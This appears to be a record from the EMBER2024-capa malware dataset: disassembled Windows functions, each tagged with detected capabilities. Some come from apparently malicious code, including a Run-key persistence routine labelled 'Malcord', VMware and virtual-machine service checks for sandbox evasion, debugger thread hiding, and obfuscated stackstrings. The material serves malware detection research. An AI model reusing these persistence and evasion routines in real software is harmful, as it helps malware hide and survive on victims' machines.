joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140045740
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x180
mov rax, qword [0x140090040]
xor rax, rsp
mov qword [rsp + 0x170], rax
mov rbx, rcx
mov qword [rsp + 0x38], rcx
xor edi, edi
mov r8d, 0x104
lea rdx, [rsp + 0x60]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
lea r9d, [rdi + 2]
xor r8d, r8d
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
xorps xmm0, xmm0
test eax, eax
jne 0x1400457cb
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], rdi
lea r8d, [rdi + 0x16]
lea rdx, str.Failed_to_open_reg_key
mov rcx, rbx
call fcn.1400055d0
jmp 0x1400458ab
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
lea rax, [rsp + 0x60]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], dil
jne 0x1400457e5
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x40]
call fcn.1400055d0
nop
lea rcx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0xf
cmova rcx, qword [rsp + 0x40]
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, 1
xor r8d, r8d
lea rdx, str.Teams
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x38]
test eax, eax
jne 0x1400458cf
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], rdi
mov r8d, 0x15
lea rdx, str.Failed_to_set_reg_key
mov rcx, rbx
call fcn.1400055d0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x1400458ab
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400458a6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140045932
call fcn.1400491b0
mov rax, rbx
mov rcx, qword [rsp + 0x170]
xor rcx, rsp
call fcn.140049190
mov rbx, qword [rsp + 0x198]
add rsp, 0x180
pop rdi
ret
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], rdi
mov r8d, 0x24
lea rdx, str.Malcord_will_launch_at_startup_logon
mov rcx, rbx
call fcn.1400055d0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x1400458ab
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400458a6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400458a6
call fcn.1400500ac
int3

Function at 0x140049f88
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140049fd2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140049fd2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140049fd2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140049fd2
cmp dword [rcx + 0x84], 0xe
jbe 0x140049fd2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140049fd4
xor al, al
add rsp, 0x28
ret

Function at 0x14005c618
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14005c414
Function at 0x14006631c
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14006634c
xor eax, eax
jmp 0x14006640f
mov rbp, rbx
cmp word [rax], si
je 0x140066371
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140066358
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x140066354
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.140064a7c
movsxd r14, eax
test eax, eax
jne 0x1400663af
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x140066345
mov rcx, r14
call fcn.14005f608
mov rdi, rax
test rax, rax
jne 0x1400663c8
xor ecx, ecx
call fcn.14005f554
jmp 0x1400663a4
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.140064a7c
test eax, eax
jne 0x1400663f9
mov rcx, rdi
call fcn.14005f554
jmp 0x140066403
xor ecx, ecx
call fcn.14005f554
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x140068dcc
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.14005f1f4
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x140068e6d
cmp ebx, dword [rsp + 0x30]
je 0x140068e66
test esi, esi
je 0x140068e66
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x140068e41
sub r8w, 0x61
cmp r8w, 0x19
ja 0x140068e4e
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x140068e2b
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x140068e52
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x140068e6f
mov eax, 1
jmp 0x140068e6f
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14006ab68
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x14006ab7e
mov al, 1
jmp 0x14006abde
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x14006ab8f
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x14006abdc
mov ecx, dword [rcx + 0x18]
nop
call fcn.140066970
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14006abdc
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x14006abdc
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x14006abdc
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x14006abde
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x14006e910
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14006e938
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14006e938
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x1400013f0
Capabilities:
Enumerate threads
Suspend thread

Disassembly:
mov dword [rsp + 0x10], edx
mov dword [rsp + 8], ecx
sub rsp, 0x68
mov rax, qword [0x140047f58]
xor rax, rsp
mov qword [rsp + 0x50], rax
xor edx, edx
mov ecx, 4
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0xffffffffffffffff
je 0x1400014bc
mov dword [rsp + 0x30], 0x1c
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_Thread32First
test eax, eax
je 0x1400014b1
mov eax, dword [rsp + 0x30]
cmp rax, 0x10
jb 0x140001496
mov eax, dword [rsp + 0x78]
cmp dword [rsp + 0x38], eax
je 0x140001496
mov eax, dword [rsp + 0x70]
cmp dword [rsp + 0x3c], eax
jne 0x140001496
mov r8d, dword [rsp + 0x38]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x140001496
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_SuspendThread]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x30], 0x1c
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x140001443
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.14000fe00
add rsp, 0x68
ret

Function at 0x1400014e0
Capabilities:
Enumerate threads
Resume thread

Disassembly:
mov dword [rsp + 0x10], edx
mov dword [rsp + 8], ecx
sub rsp, 0x68
mov rax, qword [0x140047f58]
xor rax, rsp
mov qword [rsp + 0x50], rax
xor edx, edx
mov ecx, 4
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0xffffffffffffffff
je 0x1400015ac
mov dword [rsp + 0x30], 0x1c
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_Thread32First
test eax, eax
je 0x1400015a1
mov eax, dword [rsp + 0x30]
cmp rax, 0x10
jb 0x140001586
mov eax, dword [rsp + 0x78]
cmp dword [rsp + 0x38], eax
je 0x140001586
mov eax, dword [rsp + 0x70]
cmp dword [rsp + 0x3c], eax
jne 0x140001586
mov r8d, dword [rsp + 0x38]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x140001586
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x30], 0x1c
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x140001533
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.14000fe00
add rsp, 0x68
ret
Function at 0x140001740
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x178
mov rax, qword [0x140047f58]
xor rax, rsp
mov qword [rsp + 0x160], rax
mov byte [rsp + 0x20], 0
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x28], rax
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x28]
call sub.KERNEL32.dll_Process32First
test eax, eax
jne 0x14000178b
xor eax, eax
jmp 0x1400017cc
lea rdx, [rsp + 0x5c]
mov rcx, qword [rsp + 0x180]
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x1400017a9
mov byte [rsp + 0x20], 1
jmp 0x1400017bc
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x28]
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x14000178b
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movzx eax, byte [rsp + 0x20]
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
call fcn.14000fe00
add rsp, 0x178
ret

Function at 0x1400017f0
Capabilities:
Get hostname
Initialize winsock library

Disassembly:
sub rsp, 0x2d8
mov rax, qword [0x140047f58]
xor rax, rsp
mov qword [rsp + 0x2c0], rax
lea rdx, [rsp + 0x20]
mov cx, 0x101
call sub.WS2_32.dll_WSAStartup
test eax, eax
je 0x14000181d
jmp 0x14000183d
mov edx, 0x100
lea rcx, [rsp + 0x1c0]
call sub.WS2_32.dll_gethostname
test eax, eax
jne 0x14000183d
lea rax, [rsp + 0x1c0]
jmp 0x140001842
call sub.WS2_32.dll_WSACleanup
mov rcx, qword [rsp + 0x2c0]
xor rcx, rsp
call fcn.14000fe00
add rsp, 0x2d8
ret
Function at 0x140001890
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0xc8
mov rax, qword [0x140047f58]
xor rax, rsp
mov qword [rsp + 0xb8], rax
mov edx, 0x18
lea rcx, [rsp + 0x60]
call fcn.1400097a0
lea rcx, [rsp + 0x60]
call fcn.140004e00
mov ecx, 0x18
call fcn.140014744
mov qword [rsp + 0x20], rax
lea rcx, str.DNSAPI.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x30], rax
mov byte [rsp + 0xa0], 0x44
mov byte [rsp + 0xa1], WSAStartup
mov byte [rsp + 0xa2], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0xa3], 0x47
mov byte [rsp + 0xa4], 0x65
mov byte [rsp + 0xa5], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0xa6], 0x43
mov byte [rsp + 0xa7], 0x61
mov byte [rsp + 0xa8], 0x63
mov byte [rsp + 0xa9], 0x68
mov byte [rsp + 0xaa], 0x65
mov byte [rsp + 0xab], 0x44
mov byte [rsp + 0xac], 0x61
mov byte [rsp + 0xad], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0xae], 0x61
mov byte [rsp + 0xaf], 0x54
mov byte [rsp + 0xb0], 0x61
mov byte [rsp + 0xb1], 0x62
mov byte [rsp + 0xb2], WSAStartup
mov byte [rsp + 0xb3], 0x65
mov byte [rsp + 0xb4], 0
lea rdx, [rsp + 0xa0]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x38], rax
mov rcx, qword [rsp + 0x20]
call qword [rsp + gethostname]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x20]
mov rax, qword [rax]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x140001a36
lea rcx, [rsp + 0x78]
call fcn.140004ea0
mov rax, qword [rsp + 0x20]
mov rdx, qword [rax + 8]
lea rcx, [rsp + 0x40]
call fcn.140004bf0
mov rdx, rax
lea rcx, [rsp + 0x78]
call fcn.140005e10
lea rcx, [rsp + 0x40]
call fcn.1400058d0
mov rax, qword [rsp + 0x20]
movzx eax, word [rax + 0x10]
mov dword [rsp + 0x98], eax
lea rdx, [rsp + 0x78]
lea rcx, [rsp + 0x60]
call fcn.14000bc90
mov rax, qword [rsp + 0x20]
mov rax, qword [rax]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x78]
call fcn.140005a20
jmp 0x1400019c2
mov rcx, qword [rsp + 0x20]
call fcn.140014730
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0xd0]
call fcn.140004d90
lea rcx, [rsp + 0x60]
call fcn.140005a00
mov rax, qword [rsp + 0xd0]
mov rcx, qword [rsp + 0xb8]
xor rcx, rsp
call fcn.14000fe00
add rsp, 0xc8
ret
Function at 0x1400020b0
Capabilities:
Hide thread from debugger

Disassembly:
sub rsp, 0x48
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x28], rax
lea rdx, str.NtSetInformationThread
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x30], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x11
mov rcx, rax
call qword [rsp + 0x30]
mov dword [rsp + 0x20], eax
add rsp, 0x48
ret

Function at 0x140002110
Capabilities:
Enumerate services

Disassembly:
sub rsp, 0x78
mov rax, qword [0x140047f58]
xor rax, rsp
mov qword [rsp + 0x68], rax
mov dword [rsp + 0x58], 0
mov r8d, 4
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
jne 0x140002181
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [0x140049300]
call fcn.140005f00
lea rdx, [0x1400043e0]
mov rcx, rax
call fcn.1400060f0
lea rcx, [0x140030510]
call fcn.14000c3b0
mov eax, 0xffffffff
jmp 0x1400022a0
mov dword [rsp + 0x64], 0
mov dword [rsp + 0x5c], 0
mov dword [rsp + 0x60], 0
mov edx, 0x10000
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x5c]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x64]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x10000
mov r9, qword [rsp + 0x48]
mov r8d, 3
mov edx, 0x30
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_EnumServicesStatusA]
test eax, eax
je 0x1400021fa
mov byte [rsp + 0x40], 1
jmp 0x1400021ff
mov byte [rsp + 0x40], 0
movzx eax, byte [rsp + 0x40]
mov byte [rsp + 0x41], al
movzx eax, byte [rsp + 0x41]
test eax, eax
jne 0x140002224
lea rcx, [0x140030528]
call fcn.14000c3b0
mov eax, 0xffffffff
jmp 0x1400022a0
mov dword [rsp + 0x44], 0
jmp 0x140002238
mov eax, dword [rsp + 0x44]
inc eax
mov dword [rsp + 0x44], eax
mov eax, dword [rsp + 0x5c]
cmp dword [rsp + 0x44], eax
jae 0x140002293
movsxd rax, dword [rsp + 0x44]
imul rax, rax, 0x30
lea rdx, str.VMware_Tools
mov rcx, qword [rsp + 0x48]
mov rcx, qword [rcx + rax + 8]
call fcn.14000c040
test rax, rax
jne 0x14000228a
movsxd rax, dword [rsp + 0x44]
imul rax, rax, 0x30
lea rdx, str.VMware
mov rcx, qword [rsp + 0x48]
mov rcx, qword [rcx + rax + 8]
call fcn.14000c040
test rax, rax
je 0x140002291
mov eax, 1
jmp 0x1400022a0
jmp 0x14000222e
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.14000fe00
add rsp, 0x78
ret
Function at 0x1400022c0
Capabilities:
Enumerate services

Disassembly:
sub rsp, 0x78
mov rax, qword [0x140047f58]
xor rax, rsp
mov qword [rsp + 0x68], rax
mov dword [rsp + 0x58], 0
mov r8d, 4
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
jne 0x140002331
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [0x140049300]
call fcn.140005f00
lea rdx, [0x1400043e0]
mov rcx, rax
call fcn.1400060f0
lea rcx, str.OpenSCManager_Eorror_n
call fcn.14000c3b0
mov eax, 0xffffffff
jmp 0x14000242c
mov dword [rsp + 0x64], 0
mov dword [rsp + 0x5c], 0
mov dword [rsp + 0x60], 0
mov edx, 0x10000
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x5c]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x64]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x10000
mov r9, qword [rsp + 0x50]
mov r8d, 3
mov edx, 0x30
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_EnumServicesStatusA]
test eax, eax
je 0x1400023aa
mov byte [rsp + 0x40], 1
jmp 0x1400023af
mov byte [rsp + 0x40], 0
movzx eax, byte [rsp + 0x40]
mov byte [rsp + 0x41], al
movzx eax, byte [rsp + 0x41]
test eax, eax
jne 0x1400023d4
lea rcx, str.EnumServicesStatus_Eorror_n
call fcn.14000c3b0
mov eax, 0xffffffff
jmp 0x14000242c
mov dword [rsp + 0x44], 0
jmp 0x1400023e8
mov eax, dword [rsp + 0x44]
inc eax
mov dword [rsp + 0x44], eax
mov eax, dword [rsp + 0x5c]
cmp dword [rsp + 0x44], eax
jae 0x14000241f
movsxd rax, dword [rsp + 0x44]
imul rax, rax, 0x30
lea rdx, str.Virtual_Machine
mov rcx, qword [rsp + 0x50]
mov rcx, qword [rcx + rax + 8]
call fcn.14000c040
test rax, rax
je 0x14000241d
mov eax, 1
jmp 0x14000242c
jmp 0x1400023de
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.14000fe00
add rsp, 0x78
ret
Function at 0x14000c4f0
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x48
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x20], rax
mov edx, 0x40
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x14000c52b
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14000c532
xor eax, eax
jmp 0x14000c5f4
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x30], rax
mov edx, 0x108
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x14000c56c
mov rax, qword [rsp + 0x30]
cmp dword [rax], 0x4550
je 0x14000c573
xor eax, eax
jmp 0x14000c5f4
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rsp + 0x30]
mov eax, dword [rcx + rax + 0x88]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0xc], 0
je 0x14000c5e0
mov rax, qword [rsp + 0x28]
mov eax, dword [rax + 0xc]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x38], rax
mov rdx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x38]
call fcn.140016d64
test eax, eax
jne 0x14000c5d0
jmp 0x14000c5e0
mov rax, qword [rsp + 0x28]
add rax, 0x14
mov qword [rsp + 0x28], rax
jmp 0x14000c598
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0xc], 0
jne 0x14000c5ef
xor eax, eax
jmp 0x14000c5f4
mov rax, qword [rsp + 0x28]
add rsp, 0x48
ret

Function at 0x14000c930
Capabilities:
Enumerate process modules

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x290
mov rax, qword [0x140047f58]
xor rax, rsp
mov qword [rsp + 0x280], rax
mov dword [rsp + 0x40], 0x238
lea rax, [rsp + 0x44]
mov rdi, rax
xor eax, eax
mov ecx, 0x234
rep stosb byte [rdi], al
cmp qword [rsp + 0x2a0], 0
je 0x14000c98d
cmp qword [rsp + 0x2a8], 0
jne 0x14000c991
xor eax, eax
jmp 0x14000ca05
xor edx, edx
mov ecx, 8
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x38], rax
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x38]
call sub.KERNEL32.dll_Module32First
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
je 0x14000ca00
mov rax, qword [rsp + 0x2b8]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x2b0]
mov r8, qword [rsp + 0x2a8]
mov rdx, qword [rsp + 0x2a0]
mov rcx, qword [rsp + 0x68]
call fcn.14000c690
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x38]
call sub.KERNEL32.dll_Module32Next
mov dword [rsp + 0x30], eax
jmp 0x14000c9b5
mov eax, 1
mov rcx, qword [rsp + 0x280]
xor rcx, rsp
call fcn.14000fe00
add rsp, 0x290
pop rdi
ret

Function at 0x14001c38c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14001c1b8
Function at 0x140001480
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x140027410]
mov dword [rax], 1
mov rax, qword [0x140027420]
mov dword [rax], 1
mov rax, qword [0x140027430]
mov dword [rax], 1
mov rax, qword [0x140027400]
mov dword [rax], 1
mov rax, qword [0x1400272b0]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400014de
mov eax, 0
jmp 0x14000158b
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x14000150a
mov eax, 0
jmp 0x14000158b
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x140001530
cmp eax, 0x20b
je 0x140001557
jmp 0x140001586
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x140001543
mov eax, 0
jmp 0x14000158b
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x14000158b
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x140001572
mov eax, 0
jmp 0x14000158b
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x14000158b
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x1400045ae
Capabilities:
Write file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp - 8], 0
cmp qword [rbp + 0x18], 0
je 0x1400045de
mov rax, qword [rbp + 0x18]
mov rcx, rax
call sym.nimCStrLen
mov rdx, rax
jmp 0x1400045e3
mov edx, 0
mov rax, qword [rbp + 0x18]
mov r9, qword [rbp + 0x10]
mov r8, rdx
mov edx, 1
mov rcx, rax
call sym.fwrite
mov qword [rbp - 8], rax
mov dword [rbp - 0xc], 0
mov rcx, qword [rbp + 0x10]
call sym.fflush
mov dword [rbp - 0xc], eax
nop
add rsp, 0x30
pop rbp
ret

Function at 0x14000e4d3
Capabilities:
Write file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov qword [rbp - 8], 0
mov rdx, qword [rbp + 0x20]
mov rax, qword [rbp + 0x18]
mov r9, qword [rbp + 0x10]
mov r8, rdx
mov edx, 1
mov rcx, rax
call sym.fwrite
mov qword [rbp - 8], rax
mov dword [rbp - 0xc], 0
mov rcx, qword [rbp + 0x10]
call sym.fflush
mov dword [rbp - 0xc], eax
nop
add rsp, 0x30
pop rbp
ret